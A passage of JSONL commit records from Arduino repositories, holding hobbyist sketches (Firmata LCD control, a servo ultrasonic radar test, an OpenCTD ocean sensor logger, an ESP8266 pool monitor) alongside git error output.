\");\n\tSerial.print(hours);\n\tSerial.print(\":\");\n\tSerial.print(minutes);\n\tSerial.print(\":\");\n\tSerial.print(seconds);\n\tSerial.println();\n \n\tdelay(1000); \/\/ wait 1 second\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/RTCtest\/RTCtest.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"c4e3579d446881a398df99619568d6db3300fce3","subject":"add comments","message":"add comments\n","repos":"WSPCrea\/2017-aki-kada,WSPCrea\/2017-aki-kada,WSPCrea\/2017-aki-kada","old_file":"sd_funcs\/sd_funcs.ino","new_file":"sd_funcs\/sd_funcs.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/WSPCrea\/2017-aki-kada.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"29aaf7353a991aa4724a54576d1e9c5d6238943d","subject":"add waFirmata_LCD1602.ino","message":"add waFirmata_LCD1602.ino\n","repos":"webduinoio\/wafirmata","old_file":"ino\/waFirmata_LCD1602.ino","new_file":"ino\/waFirmata_LCD1602.ino","new_contents":"\n#include <Firmata.h>\n#include \"WATRIGGER.h\"\n#include <waLCD1602.h>\n\n#define DATA_EXCHANGE 0x20\n#define MQTT_PUBLISH 0x40\n#define SENSOR_LCD1602 0x18\n\nWATRIGGER trigger;\nwaLCD1602* lcd;\n\nvoid sensorsSetup(){\n setup_LCD1602();\n}\nvoid setup_LCD1602() {\n\n}\n\nvoid sensorsLoop() {\n trigger.update();\n loop_LCD1602();\n}\nvoid loop_LCD1602() {\n\n}\n\nvoid waSysexCallback(byte sensorType, byte argc, byte *argv) {\n switch (sensorType) {\n case DATA_EXCHANGE:\n switch (argv[1] \/*data Type*\/ ) {\n case 1: \/\/ dataType: String\n tone(BUZZER, 3000, 50);\n delay(60);\n tone(BUZZER, 4000, 50);\n onMessage((char*)(argv + 2));\n break;\n }\n break;\n case MQTT_PUBLISH:\n \/\/ 0: ? , 1:publish , 2: ?\n switch (argv[1]) {\n case 1:\n argv[argc] = 0;\n String data = String((char*)(argv + 2));\n String topic = data.substring(0, data.indexOf(' '));\n String strData = data.substring(data.indexOf(' ') + 1);\n publish(topic, strData);\n break;\n } \n\t\t\t\n case SENSOR_LCD1602:\n case_LCD1602(argc, argv);\n break;\n\n }\n}\n\nvoid publish(String topic, String strData) {\n byte topicLen = topic.length();\n byte strLen = strData.length();\n Firmata.write(START_SYSEX);\n Firmata.write(0x03);\n Firmata.write(0x06 \/* publishTo *\/);\n for (byte i = 0; i < topicLen; i++) {\n Firmata.write(topic.charAt(i));\n }\n Firmata.write(0x20);\n for (byte i = 0; i < strLen; i++) {\n Firmata.write(strData.charAt(i));\n }\n Firmata.write(END_SYSEX);\n}\n\nvoid sendString(String data) {\n Firmata.write(START_SYSEX);\n Firmata.write(DATA_EXCHANGE);\n Firmata.write(0 \/* STRING *\/);\n for (byte i = 0; i < data.length(); i++) {\n Firmata.write((byte)data.charAt(i));\n }\n Firmata.write(END_SYSEX);\n}\nvoid case_LCD1602(byte argc, byte *argv) {\n switch (argv[1]) {\n case 0: \/* LCD begin *\/\n if (lcd == NULL) {\n lcd = new waLCD1602(argv[2], argv[3], 0x3F);\n lcd->begin();\n }\n break;\n case 1: \/* setCursor *\/\n lcd->setCursor(argv[2], argv[3]);\n break;\n case 2: \/* print *\/\n lcd->print(toString(argv + 2, argc));\n break;\n case 3: \/* clear *\/\n lcd->clear();\n break;\n }\n}\n\nString toString(byte *array, byte argc) {\n String data = \"\";\n for (int i = 0; i < argc - 2 ; i += 2) {\n data.concat((char)asc2hex(array + i));\n }\n return data;\n}\n\nbyte asc2hex(byte * array) {\n byte b = 0;\n if (*array >= 0x41 && *array <= 0x66) {\n b = (*array & 0x0F) + 9 << 4;\n } else if (*array >= 0x30 && *array <= 0x39) {\n b = (*array - 0x30) << 4;\n }\n array++;\n if (*array >= 0x41 && *array <= 0x66) {\n b |= (*array & 0x0F) + 9;\n } else if (*array >= 0x30 && *array <= 0x39) {\n b |= (*array - 0x30);\n }\n return b;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ino\/waFirmata_LCD1602.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b45a431db9911abad1089d1e5d296961ad4f9d01","subject":"Create ProbeCube_pc_099b0224.ino","message":"Create ProbeCube_pc_099b0224.ino","repos":"Lafudoci\/ProbeCube","old_file":"Photon based\/code\/ProbeCube_pc_099b0224.ino","new_file":"Photon based\/code\/ProbeCube_pc_099b0224.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Photon' did not match any file(s) known to git\nerror: pathspec 'based\/code\/ProbeCube_pc_099b0224.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ed336c7f1941c90f193717973f4ba4ba997b323a","subject":"another example","message":"another example\n","repos":"interactive-matter\/Kultpfunzel","old_file":"Examples\/kultpfunzel_button\/kultpfunzel_button.ino","new_file":"Examples\/kultpfunzel_button\/kultpfunzel_button.ino","new_contents":"\/*\n Button\n \n Turns the onboard LED on when pressing the switch \"SW\"\n\n*\/\n\n#define switchPin 8 \/\/ The switch \"SW\" is on digital pin 8\n#define ledPin 10 \/\/ The LED is on digital pin 10\n\nvoid setup() {\n pinMode(switchPin, INPUT);\n pinMode(ledPin, OUTPUT);\n \n Serial.begin(9600);\n}\n\nvoid loop() {\n if (isSwitch()) {\n digitalWrite(ledPin, 255);\n Serial.println(\"The Kultpfunzel says: Button gedrueckt\");\n } else {\n digitalWrite(ledPin, 0);\n }\n}\n\n\/\/ Helper function from original Pfunzel sketch\nboolean isSwitch() {\n return PINE & _BV(2);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Examples\/kultpfunzel_button\/kultpfunzel_button.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"55ed45d085e7bc5f73da4f600e98a9dc10bfe362","subject":"add parkinng to avoid cannot find start point","message":"add parkinng to avoid cannot find start point\n","repos":"lushl9301\/Yellow-SubArena","old_file":"exploration testing\/src\/main.ino","new_file":"exploration testing\/src\/main.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'exploration' did not match any file(s) known to git\nerror: pathspec 'testing\/src\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5e3f4bac9fb2c7bf49eb4e99e5ba88497386c12a","subject":"Update Templete.ino","message":"Update Templete.ino","repos":"SirenCreatorTeam\/Siren_Zwei","old_file":"Arduino\/Templete\/Templete.ino","new_file":"Arduino\/Templete\/Templete.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/SirenCreatorTeam\/Siren_Zwei.git\/'\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"081fa58e7dd0be066b612cf1ba50d62fdb01cf99","subject":"we start only if there is something to move?!","message":"we start only if there is something to move?!\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/Motion.ino","new_file":"ArduinoClient\/Motion.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"391fc2b87e9e132dd4a9c3d06576bc16b3b5ac2b","subject":"add servo radar test","message":"add servo radar test\n","repos":"MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI","old_file":"testing\/arduino\/servo-radar.ino","new_file":"testing\/arduino\/servo-radar.ino","new_contents":"#include \"Arduino.h\"\n#include \"Servo.h\"\n\n\/\/ Base Date\nconst uint8_t initialDelay = 2500;\n\n\/\/ Ultrasonic Sensor\nconst uint8_t trigPin = 9;\nconst uint8_t echoPin = 10;\n\nlong rangeData_Left[15];\nlong average_Left;\nlong rangeData_Center[10];\nlong average_Center;\nlong rangeData_Right[15];\nlong average_Right;\nuint8_t rangeDataIndex = 0;\n\n\/\/ Ultrasonic Servo\nServo ServoMotor;\nconst uint8_t servoPin = 6;\nconst uint8_t servoRotationAngel = 10;\n\nenum direction {\n left,\n center,\n right\n};\n\nuint8_t servoPos = 90;\ndirection servoMovement = right;\ndirection servoLocation = center;\n\n\nvoid setup()\n{\n \/\/ Scanner\n pinMode(trigPin, OUTPUT); \/\/ Sets the trigPin as an Output\n pinMode(echoPin, INPUT); \/\/ Sets the echoPin as an Input\n\n Serial.begin(9600); \/\/ Starts the serial communication\n\n \/\/ attach servo pin and set to initial direction\n ServoMotor.attach(servoPin);\n ServoMotor.write(servoPos);\n}\n\n\nlong MicrosecondsToCentimeters(long microseconds)\n{\n return microseconds \/ 29 \/ 2;\n}\n\n\n\/\/ Use library to minimize delay\nlong GetUltrasoundRange()\n{\n digitalWrite(trigPin, LOW);\n delayMicroseconds(2);\n\n digitalWrite(trigPin, HIGH);\n delayMicroseconds(10);\n digitalWrite(trigPin, LOW);\n\n long duration = pulseIn(echoPin, HIGH);\n\n \/\/ convert the time into a distance\n return MicrosecondsToCentimeters(duration);\n}\n\n\nvoid CalculateAverageRange()\n{\n long range = GetUltrasoundRange();\n long **rangeData_Current;\n\n \/\/ get current meassurement and add to array\n if(servoLocation == left)\n {\n rangeData_Left[rangeDataIndex++] = range;\n rangeData_Current = rangeData_Left;\n }\n\n if(servoLocation == center)\n {\n rangeData_Center[rangeDataIndex++] = range;\n rangeData_Current = rangeData_Center;\n }\n\n if(servoLocation == right)\n {\n rangeData_Right[rangeDataIndex++] = range;\n rangeData_Current = rangeData_Right;\n }\n\n direction servoLocationLast = servoLocation;\n direction servoMovementLast = servoMovement;\n\n \/\/ Get the next Angle and Move the Servo\n ServoMotor.write(GetNextServoAngle());\n\n \/\/ if the new servo location is different from the one before calculate an anverage\n if(servoLocation != servoLocationLast || servoMovement != servoMovementLast)\n {\n long summedUp = 0;\n for (int i = 0; i < rangeDataIndex; i++)\n {\n summedUp += rangeData_Current[i];\n rangeData_Current[i] = 0;\n }\n\n long average = summedUp\/rangeDataIndex;\n if(servoLocationLast == left) { average_Left = average; }\n if(servoLocationLast == center) { average_Center = average; }\n if(servoLocationLast == right) { average_Right = average; }\n\n rangeDataIndex = 0;\n }\n}\n\n\nuint8_t GetNextServoAngle()\n{\n \/\/ 0 - 80 \/ 80 - 100 \/ 100 - 180\n if(servoPos <= 0)\n {\n servoMovement = right;\n servoPos = 0;\n }\n\n if(servoPos >= 180)\n {\n servoMovement = left;\n servoPos = 180;\n }\n\n\n if(servoMovement == right)\n {\n servoPos += servoRotationAngel;\n }\n else\n {\n servoPos -= servoRotationAngel;\n }\n\n\n if(servoPos < 80)\n {\n servoLocation = left;\n }\n\n if(servoPos >= 80 && servoPos <= 100)\n {\n servoLocation = center;\n }\n\n if(servoPos > 100)\n {\n servoLocation = right;\n }\n\n return servoPos;\n}\n\n\nvoid loop()\n{\n\n CalculateAverageRange();\n\n \/\/ Wait for initial scans before performing any actions\n if(millis() < initialDelay)\n {\n return;\n }\n\n long range = average_Center;\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'testing\/arduino\/servo-radar.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"6478be9ac6391928fccc41d55495665148d002cf","subject":"Create OpenCTD_master_m0.ino","message":"Create OpenCTD_master_m0.ino\n","repos":"OceanographyforEveryone\/OpenCTD","old_file":"OpenCTD_Feather_Adalogger\/OpenCTD_master_m0\/OpenCTD_master_m0.ino","new_file":"OpenCTD_Feather_Adalogger\/OpenCTD_master_m0\/OpenCTD_master_m0.ino","new_contents":"\/\/Date and time functions using a DS3231 RTC connected via I2C and Wire lib\n#include <Wire.h>\n#include \"RTClib.h\"\n\n\/\/serial peripheral interface and library for SD card reader\n#include <SPI.h> \/\/serial peripheral interface for SD card reader\n#include <SD.h> \/\/library for SD card reader\n\n\/\/communication protocols for temperature sensors\n#include <OneWire.h> \n#include <DallasTemperature.h> \n\n\/\/Software libary for the pressure sensor\n#include <MS5803_14.h>\n\n\/\/EC Circuit uses software serial\n#include <SoftwareSerial.h>\n\nRTC_DS3231 rtc; \/\/define real-time clock\n\nconst int chipSelect = 4; \/\/sets chip select pin for SD card reader\n\nMS_5803 sensor = MS_5803(512); \/\/ Define pressure sensor.\n\nOneWire oneWire(6); \/\/ Define the OneWire port for temperature.\nDallasTemperature sensors(&oneWire); \/\/Define DallasTemperature input based on OneWire.\n\nSoftwareSerial ecSerial(12, 13); \/\/ Define the SoftwareSerial port for conductivity.\n\ndouble pressure_abs; \/\/define absolute pressure variable\n\n\/\/Declare global temperature variables.\nfloat tempA;\nfloat tempB;\nfloat tempC;\n\n\/\/Declare global variables for eletrical conductivity\nfloat EC_float = 0; \nchar EC_data[48]; \/\/ A 48 byte character array to hold incoming data from the conductivity circuit. \nchar *EC; \/\/ Character pointer for string parsing.\nbyte received_from_sensor = 0; \/\/ How many characters have been received.\nbyte string_received = 0; \/\/ Whether it received a string from the EC circuit.\n\nvoid setup () {\n\n #ifndef ESP8266\n while (!Serial); \/\/for Leonardo\/Micro\/Zero\n #endif\n\n Serial.begin(9600);\n\n\/\/Initialize SD card reader\n Serial.print(\"Initializing SD card...\");\n\n if (!SD.begin(chipSelect)) {\n \n Serial.println(\"Card failed, or not present\");\n return;\n \n }\n \n Serial.println(\"card initialized.\");\n\n delay(1000); \n\n if (! rtc.begin()) {\n \n Serial.println(\"Couldn't find RTC\");\n while (1);\n \n }\n\n File dataFile = SD.open(\"datalog.txt\", FILE_WRITE);\n \n if (dataFile) {\n \n dataFile.println(\"\");\n dataFile.println(\"=== New Cast ===\");\n dataFile.println(\"\");\n dataFile.close();\n \n }\n\n\/\/Initialize real-time clock\n if (rtc.lostPower()) {\n\n \/\/reset RTC with time when code was compiled if RTC loses power\n Serial.println(\"RTC lost power, lets set the time!\"); \n rtc.adjust(DateTime(F(__DATE__), F(__TIME__)));\n \n }\n \n delay(250); \/\/ Wait a quarter second to continue.\n\n\/\/Initialize sensors \n sensor.initializeMS_5803(); \/\/ Initialize pressure sensor \n \n sensors.begin(); \/\/ Intialize the temperature sensors.\n\n ecSerial.begin(9600); \/\/ Set baud rate for conductivity circuit. \n\n}\n\nvoid loop () {\n \n DateTime now = rtc.now(); \/\/check RTC\n\n sensor.readSensor(); \/\/read pressure sensor\n pressure_abs = sensor.pressure();\n\n\/\/read temperature sensor\n sensors.requestTemperatures();\n tempA = sensors.getTempCByIndex(0);\n tempB = sensors.getTempCByIndex(1);\n tempC = sensors.getTempCByIndex(2);\n\n\/\/Read electrical conductivity sensor\n if (ecSerial.available() > 0) {\n\n received_from_sensor = ecSerial.readBytesUntil(13, EC_data, 48);\n EC_data[received_from_sensor] = 0; \/\/ Null terminate the data by setting the value after the final character to 0.\n \n }\n\n if ((EC_data[0] >= 48) && (EC_data[0] <=57)) { \/\/ Parse data, if EC_data begins with a digit, not a letter (testing ASCII values).\n\n parse_data();\n \n } \n \n\/\/output readings to serial monitor. A whole mess of if\/else statements to keep numbers formatted correctly\n Serial.print(now.year(), DEC);\n Serial.print('\/');\n\n if (now.month()<10) {\n \n Serial.print(0);\n Serial.print(now.month(), DEC);\n \n }\n\n else {\n \n Serial.print(now.month(), DEC);\n \n }\n \n Serial.print('\/');\n \n if (now.day()<10) {\n \n Serial.print(0);\n Serial.print(now.day(), DEC);\n \n }\n\n else {\n \n Serial.print(now.day(), DEC);\n \n }\n \n Serial.print(\" \");\n \n if (now.hour()<10) {\n \n Serial.print(0);\n Serial.print(now.hour(), DEC);\n \n }\n\n else {\n \n Serial.print(now.hour(), DEC);\n \n } \n \n Serial.print(':');\n \n if (now.minute()<10) {\n \n Serial.print(0);\n Serial.print(now.minute(), DEC);\n \n }\n\n else {\n \n Serial.print(now.minute(), DEC);\n \n } \n\n Serial.print(':');\n \n if (now.second()<10) {\n \n Serial.print(0);\n Serial.print(now.second(), DEC);\n \n }\n\n else {\n \n Serial.print(now.second(), DEC);\n \n }\n \n Serial.print(\" \");\n Serial.print(pressure_abs);\n Serial.print(\" \"); \n Serial.print(tempA);\n Serial.print(\" \");\n Serial.print(tempB);\n Serial.print(\" \");\n Serial.print(tempC); \n Serial.print(\" \"); \n Serial.println(EC);\n\n \/\/output readings to data file. A whole mess of if\/else statements to keep numbers formatted correctly\n File dataFile = SD.open(\"datalog.txt\", FILE_WRITE);\n \n if (dataFile) {\n \n dataFile.print(now.year(), DEC);\n dataFile.print('\/');\n \n if (now.month()<10) {\n \n dataFile.print(0);\n dataFile.print(now.month(), DEC);\n \n }\n\n else {\n \n dataFile.print(now.month(), DEC);\n \n }\n \n dataFile.print('\/');\n \n if (now.day()<10) {\n \n dataFile.print(0);\n dataFile.print(now.day(), DEC);\n \n }\n\n else {\n \n dataFile.print(now.day(), DEC);\n \n }\n \n dataFile.print(\" \");\n \n if (now.hour()<10) {\n \n dataFile.print(0);\n dataFile.print(now.hour(), DEC);\n \n }\n\n else {\n \n dataFile.print(now.hour(), DEC);\n \n } \n \n dataFile.print(':');\n \n if (now.minute()<10) {\n \n dataFile.print(0);\n dataFile.print(now.minute(), DEC);\n \n }\n\n else {\n \n dataFile.print(now.minute(), DEC);\n \n } \n\n dataFile.print(':');\n \n if (now.second()<10) {\n \n dataFile.print(0);\n dataFile.print(now.second(), DEC);\n \n }\n\n else {\n \n dataFile.print(now.second(), DEC);\n \n }\n \n dataFile.print(\" \");\n dataFile.print(pressure_abs);\n dataFile.print(\" \"); \n dataFile.print(tempA);\n dataFile.print(\" \");\n dataFile.print(tempB);\n dataFile.print(\" \");\n dataFile.print(tempC);\n dataFile.print(\" \"); \n dataFile.println(EC);\n dataFile.close(); \n\n }\n \n delay(50);\n\n}\n\nvoid parse_data() { \/\/ Parses data from the EC Circuit.\n\n EC = strtok(EC_data, \",\"); \n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'OpenCTD_Feather_Adalogger\/OpenCTD_master_m0\/OpenCTD_master_m0.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d5ff4bf69109084ecc50970b7baca7a8d2845859","subject":"Create ESP8266-Pool_Monitor.ino","message":"Create ESP8266-Pool_Monitor.ino","repos":"chancsc\/SC_SmartThings,chancsc\/SC_SmartThings","old_file":"ESP8266-Pool_Monitor.ino","new_file":"ESP8266-Pool_Monitor.ino","new_contents":"\/\/Project: Monitor water level (HC-SR04P) of Balacing tank and the Temperature of Water (DS18b20) \/ Ambient (DHT22) \n\/\/ Send alert via Blynk app if water level is too high, or water temperature is higher than 28 C\n\n\/*\n\/\/https:\/\/community.blynk.cc\/t\/water-tank-level-indicator-with-low-level-warning-notifications\/26271\n\n\/\/v1.0 - Wifi Manager + Blynk\n\/\/v1.1 - added deep sleep function - https:\/\/community.blynk.cc\/t\/esp-deep-sleep\/5622\/13\n\/\/v1.2 - added run time change of deep sleep interval via UI setup\n\/\/v1.3 - \n\n\/\/**** Blynk Virtual Pin Assignments****\n\/\/ V0 - Water temperature alert\n\/\/ V1 - Tank Height (cm)\n\/\/ V2 - Sensor distance from Tank (cm)\n\/\/ V3 - Temperature\n\/\/ V4 - Battery voltage\n\/\/ V6 - Numeric Widget - Sleep interval (mins)\n\/\/ V9 - Level V widget - Water Level %\n\/\/V10 - Numeric Widget - Level exceed then will trigger Alert\n\/\/V11 - Button Widget - To enable \/ disable Alert\n\/\/V12 - Distance - height from sensor to water level\n\nHardware: \n1. Wemos D1 Pro\n2. DS18B20 Temperature Sensor\n3. Ultra Sonic Sensor\n4. 4.7k resistor - put between D4 and VCC\n\n\nUltra sonic Sensor: Vcc - D7, Gnd - Gnd, Echo - D6, Trigger - D5\nDS18820 - Vcc - D8, Gnd - Gnd, Data - D4\n\nTodo\n----\n- if sonar sensor out of range --> don't save but Alert\n- water temperature alert\n\n*\/\n\n#include <OneWire.h>\n#include <DallasTemperature.h>\n#include <ESP8266WiFi.h>\n#include <BlynkSimpleEsp8266.h>\n\nchar auth[] = \"<replace with blynk token>\";\n\nchar ssid[] = \"wifi ssid\";\nchar pass[] = \"wifi pwd\";\n\nBlynkTimer timer;\n\n\/\/HC-SR04 ultra sonic sensor\n#define trigPin D5 \/\/ Trigger Pin\n#define echoPin D6 \/\/ Echo Pin\n#define RadarPowerPin D7 \/\/GPIO12 = D6, GPIO14 = D5, GPIO15 = D8\n\n\/\/DS18820 temperature sensor\n#define sensorPin D4\n#define TempPowerPin D8\n\n#define filterSamples 15 \/\/ filterSamples should be an odd number, no smaller than 3\n\nint alertLevelCounter = 0; \/\/Counter starts at zero\n\/\/int volume1; \/\/ for smoothing algorithum\ndouble wLevel; \/\/ for smoothing algorithum\nint levelAlert;\nint wateralert = 0;\n\/\/int sensSmoothArray1 [filterSamples]; \/\/ array for holding raw sensor values for sensor1 \nint smoothDistance; \/\/ variables for sensor1 data\n\n\/\/double alertInMin = 0.5; \/\/Alert time following alert water level being reached (0.5 = 30secs)\n\/\/const int alertDuration = 2; \/\/Alert sent every 2 minutes\n\nint checkFreq = 2; \/\/how often run the check \/ sleep for how long before wake up, in mins\nint tankHeight = 100; \/\/tank's height\nint heightFrTank = 20; \/\/sensor distance from tank\nlong duration, distance; \/\/ Duration used to calculate distance\n\n\/\/init DS11820\nOneWire oneWire(sensorPin);\nDallasTemperature DS18B20(&oneWire);\nfloat temp;\nfloat volt;\n\nBLYNK_CONNECTED() { \/\/ runs once at device startup, once connected to server.\n Blynk.syncVirtual(V1);\n Blynk.syncVirtual(V2);\n Blynk.syncVirtual(V6);\n Blynk.syncVirtual(V10);\n Blynk.syncVirtual(V11);\n}\n\nBLYNK_WRITE(V1) {\n tankHeight = param.asInt();\n Serial.print(\"\\nTank's Height: \");\n Serial.println(tankHeight);\n Serial.println();\n} \n\nBLYNK_WRITE(V2) {\n heightFrTank = param.asInt();\n Serial.print(\"Height from Tank: \");\n Serial.println(heightFrTank);\n Serial.println();\n} \n\nBLYNK_WRITE(V6) {\n checkFreq = param.asInt();\n Serial.print(\"Sleep Interval: \");\n Serial.println(checkFreq);\n Serial.println();\n} \n\nBLYNK_WRITE(V10) {\n levelAlert = param.asInt();\n Serial.print(\"Water Level Alert: \");\n Serial.println(levelAlert);\n Serial.println();\n} \n \nBLYNK_WRITE(V11) { \n\n int alertOff = param.asInt();\n\n if(alertOff == 0) {\n resetWaterLevelAlert();\n wateralert = 1;\n Serial.print(\"Level Alert is OFF.\");\n Serial.println();\n }\n else {\n resetWaterLevelAlert();\n wateralert = 0;\n Serial.print(\"Level Alert is ON.\");\n Serial.println();\n }\n\n}\n\nvoid resetWaterLevelAlert() {\n alertLevelCounter = 0;\n wateralert = 0;\n}\n\nvoid checkWaterLevel() {\n Serial.print(\"Water Level (%) = \");\n Serial.println(wLevel);\n Serial.print(\"Level Alert (%) = \");\n Serial.println(levelAlert);\n Serial.print(\"Alert (1 = off, 0 = on) = \");\n Serial.println(wateralert);\n\n if(wLevel > levelAlert && wateralert == 0){\n\/\/ alertLevelCounter += 1;\n Blynk.notify(\"Water Tank Level Alert\"); \/\/ send push notification to blynk app\n\n }\n\n\/\/ if(alertLevelCounter > alertInMin * 60 && wateralert == 0){\n\/\/ Blynk.notify(\"Water Tank Level Alert\"); \/\/ send push notification to blynk app\n\/\/ wateralert = 1;\n\/\/ resetWaterLevelAlert();\n\/\/ }\n}\n\nvoid MeasureCmForSmoothing() {\n\n \/\/take multiple reading\n\n digitalWrite(RadarPowerPin, HIGH); \/\/provide power\n delay(1000);\n \n smoothDistance = mesureDistance();\n \n digitalWrite(RadarPowerPin, LOW); \/\/turn off power\n delay(100);\n \n Serial.print(\"Smoothed Distance: \");\n Serial.println(smoothDistance);\n\n \/\/tank height 100 cm, sensor is 20 cm above the tank\n wLevel = (tankHeight + heightFrTank - smoothDistance);\n\n Serial.print(\"Water Level (cm): \");\n Serial.println(wLevel);\n\n \/\/convert to %\n wLevel = wLevel \/ tankHeight * 100;\n\n Serial.print(\"Water Level (%): \");\n Serial.println(wLevel);\n\n Blynk.virtualWrite(V12, smoothDistance); \/\/ virtual pin\n Blynk.virtualWrite(V9, wLevel); \/\/ virtual pin\n delay(1000);\n} \n\nvoid UploadMeasureCmForSmoothing() {\n\n Blynk.virtualWrite(V3, temp); \/\/ Water level %\n Blynk.virtualWrite(V4, volt); \/\/ battery \n Blynk.virtualWrite(V9, wLevel); \/\/ Water level %\n Blynk.virtualWrite(V12, smoothDistance); \/\/ virtual pin\n \n}\n\n\nvoid setup() {\n Serial.begin(115200);\n Blynk.begin(auth, ssid, pass);\n \n pinMode(trigPin, OUTPUT);\n pinMode(echoPin, INPUT);\n \/\/pin to provide power to ultra sonic sensor\n pinMode(RadarPowerPin, OUTPUT);\n\n \/\/pin to provide power to temperature sensor\n pinMode(TempPowerPin, OUTPUT);\n \n Serial.println(\"Measure Water Temperature\");\n measurementEvent();\n\n Serial.println(\"\\nMeasure Water Level\");\n MeasureCmForSmoothing();\n\n Serial.println(\"Upload Data\");\n UploadMeasureCmForSmoothing();\n\n Serial.println(\"check WaterLevel Alert\");\n checkWaterLevel();\n\n goToSleep();\n\n}\n \nvoid loop() {\n\n}\n\nint digitalSmooth(int rawIn, int *sensSmoothArray){ \/\/ \"int *sensSmoothArray\" passes an array to the function - the asterisk indicates the array name is a pointer\nint j, k, temp, top, bottom;\nlong total;\nstatic int i;\n\/\/ static int raw[filterSamples];\nstatic int sorted[filterSamples];\nboolean done;\n\ni = (i + 1) % filterSamples; \/\/ increment counter and roll over if necc. - % (modulo operator) rolls over variable\nsensSmoothArray[i] = rawIn; \/\/ input new data into the oldest slot\n\n\/\/ Serial.print(\"raw = \");\n\n for (j=0; j<filterSamples; j++){ \/\/ transfer data array into anther array for sorting and averaging\n sorted[j] = sensSmoothArray[j];\n }\n\n done = 0; \/\/ flag to know when we're done sorting \n while(done != 1){ \/\/ simple swap sort, sorts numbers from lowest to highest\n done = 1;\n for(j = 0; j < (filterSamples - 1); j++){\n if(sorted[j] > sorted[j + 1]){ \/\/ numbers are out of order - swap\n temp = sorted[j + 1];\n sorted [j+1] = sorted[j] ;\n sorted [j] = temp;\n done = 0;\n }\n }\n }\n\n \/\/ throw out top and bottom 15% of samples - limit to throw out at least one from top and bottom\n \/\/ bottom = max(((filterSamples * 15) \/ 100), 1); \n \/\/ top = min((((filterSamples * 85) \/ 100) + 1 ), (filterSamples - 1)); \/\/ the + 1 is to make up for asymmetry caused by integer rounding\n bottom = max(((filterSamples * 20) \/ 100), 1); \n top = min((((filterSamples * 80) \/ 100) + 1 ), (filterSamples - 1)); \/\/ the + 1 is to make up for asymmetry caused by integer rounding\n k = 0;\n total = 0;\n for( j = bottom; j< top; j++){\n total += sorted[j]; \/\/ total remaining indices\n k++; \n \/\/Serial.print(sorted[j]); \n \/\/Serial.print(\" \"); \n \/\/terminal.print(sorted[j]); \n \/\/terminal.println(\" \");\n \n }\n \/\/terminal.print(\"average: \");\n \/\/terminal.println(total\/k);\n \/\/terminal.flush();\n \/\/Serial.println();\n \/\/Serial.print(\"average = \");\n \/\/Serial.println(total\/k);\n return total \/ k; \/\/ divide by number of samples\n}\n\nint mesureSingleDistance() {\n long duration, distance;\n\n digitalWrite(trigPin, LOW);\n delayMicroseconds(2);\n digitalWrite(trigPin, HIGH);\n delayMicroseconds(10);\n digitalWrite(trigPin, LOW);\n duration = pulseIn(echoPin, HIGH);\n distance = (duration\/2) \/ 29.1;\n\n Serial.print(\"Distance: \");\n Serial.println(distance);\n\n return distance;\n }\n\n\/**\n * mresure distnce average delay 10ms\n *\/\nint mesureDistance() {\n const int ULTRASONIC_MIN_DISTANCE = heightFrTank; \/\/20\n const int ULTRASONIC_MAX_DISTANCE = tankHeight + heightFrTank; \/\/120\n\n int i, total_count = 0, total_distance = 0, distance, values[10], average, temp, new_count = 0;\n\n for(i=0; i<5; i++){\n distance = mesureSingleDistance();\n \/\/check if out of range\n if(distance > ULTRASONIC_MIN_DISTANCE && distance < ULTRASONIC_MAX_DISTANCE) {\n total_distance += distance;\n values[total_count++]=distance;\n Serial.printf(\"Value %d...\\n\", distance);\n }\n }\n\n Serial.print(\"total_count = \");\n Serial.println(total_count);\n if(total_count > 0) {\n\n average = total_distance \/ total_count;\n total_distance = 0;\n Serial.printf(\"Average %d...\\n\", average);\n\n for(i=0; i<total_count; i++){\n temp = (average - values[i])*100\/average;\n Serial.printf(\"Analyze %d....%d...\\n\", values[i],temp);\n if(temp < 10 && temp > -10){\n total_distance += values[i];\n new_count++;\n }\n }\n\n if(new_count > 0) {\n\/\/ Serial.print(\"total_distance = \");\n\/\/ Serial.println(total_distance);\n\/\/ Serial.print(\"new_count = \");\n\/\/ Serial.println(new_count);\n return total_distance \/ new_count;\n }\n }\n Serial.println(\"Sonar sensor out of range\");\n return 0; \/\/return 0 meaning the sensor out of range\n }\n\nvoid goToSleep() {\n \/\/ calculate required sleep time and go to sleep\n\n Serial.print(\" 